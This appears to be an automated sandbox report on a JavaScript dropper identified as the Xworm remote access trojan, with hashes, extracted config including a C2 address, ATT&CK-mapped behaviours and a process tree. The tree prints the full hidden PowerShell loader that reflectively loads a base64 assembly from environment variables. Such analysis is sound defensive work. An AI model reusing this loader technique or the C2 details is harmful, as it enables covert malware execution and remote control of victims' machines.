Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/09/2026, 17:17

General

  • Target
    773ed333303540dab5f274d05964180d43bf9910b3cd32d7d6f0d8d5905f3b89.js
  • Size 5.1MB
  • Sample260925-vt6stats3p
  • SHA256 773ed333303540dab5f274d05964180d43bf9910b3cd32d7d6f0d8d5905f3b89
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

C2
  • 77.110.114.115:3308

Mutex
  • gpzOESxZKK2NR3QS

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\773ed333303540dab5f274d05964180d43bf9910b3cd32d7d6f0d8d5905f3b89.js
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    PID:5096
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$paperbacks=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$Paarl=[IO.MemoryStream][Convert]::FromBase64String($paperbacks);[AppDomain]::CurrentDomain.Load($Paarl.ToArray())|Out-Null;[Win32.RMP.Cls_jkTfUPHdRS]::Met_jkTfUPHdRSwY('Up+ggLFhnalhYaa6ukTb1sqbR0/T+L9/iNYG5HjsASigzMv+c8Q0OXFrFMRZQ28lOfqs6rbFzvOAqtrVMvvABSnc5SCiXwHDlVfLjfCbzNg=','','IkKRN4ES+hlaKnYDCceJyOgZ3NmPViNTnMKhBIiqISAoQD3NE6g/bXOZ+jVeakDB','j1QRgbbkhl14S8yfxns/I390XMWss2PB7paMtU48QaA=','FxaHk9BcD+rx3ylVOmuSBs6k/97x5GpIzyYqpTzH4mI=','','rxN20n4W6XC2GexN0IpkwQo4gxA7INdTDJvgCzwsszw=','','2f4A6fU7sINwKJqXBpLI1B1GXCNw/kHlLunMunM4+qM=','rvCeKyA5QNAusYjDKHyd/OGRdtfM+NQcMWYuLy5uVAU7LKhjnNpbIIgtO/QGGVbA','Rgil9/hzwtGgVhkhERqxeCzpbRcbgnr6MvqBPLCuq6Y=','HaMP3/eddo/EcPFAzWRm0hdMclwVjUWsIEruOSBbEGg=','iTaldw0JDGO/zVCapdz5ctGy86GHEWuH/yLkFWSWrxE=','','MLCPTkDPDQ+5e/o+ibsKPzfXjVDDWxl3EQo42bXApUw=','j6cAOxo7k82DM/bjkxtgY+mQI4dGlWRcD+EOn6lJJD0=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Enumerates connected drives
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4848
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4160
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:820

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/4160-17-0x0000000000400000-0x000000000040E000-memory.dmp

          memory/4160-23-0x0000000074910000-0x00000000750CC000-memory.dmp

          memory/4160-22-0x0000000074910000-0x00000000750CC000-memory.dmp

          memory/4160-21-0x0000000005880000-0x000000000591C000-memory.dmp

          memory/4160-20-0x0000000074922000-0x0000000074923000-memory.dmp

          memory/4848-7-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-14-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-8-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-10-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-11-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-12-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-13-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-9-0x0000018D16A10000-0x0000018D16A32000-memory.dmp

          memory/4848-15-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-16-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-0-0x00007FF97F35F000-0x00007FF97F360000-memory.dmp

          memory/4848-19-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-6-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-5-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

          memory/4848-4-0x0000018D16A30000-0x0000018D16A52000-memory.dmp

          memory/4848-3-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp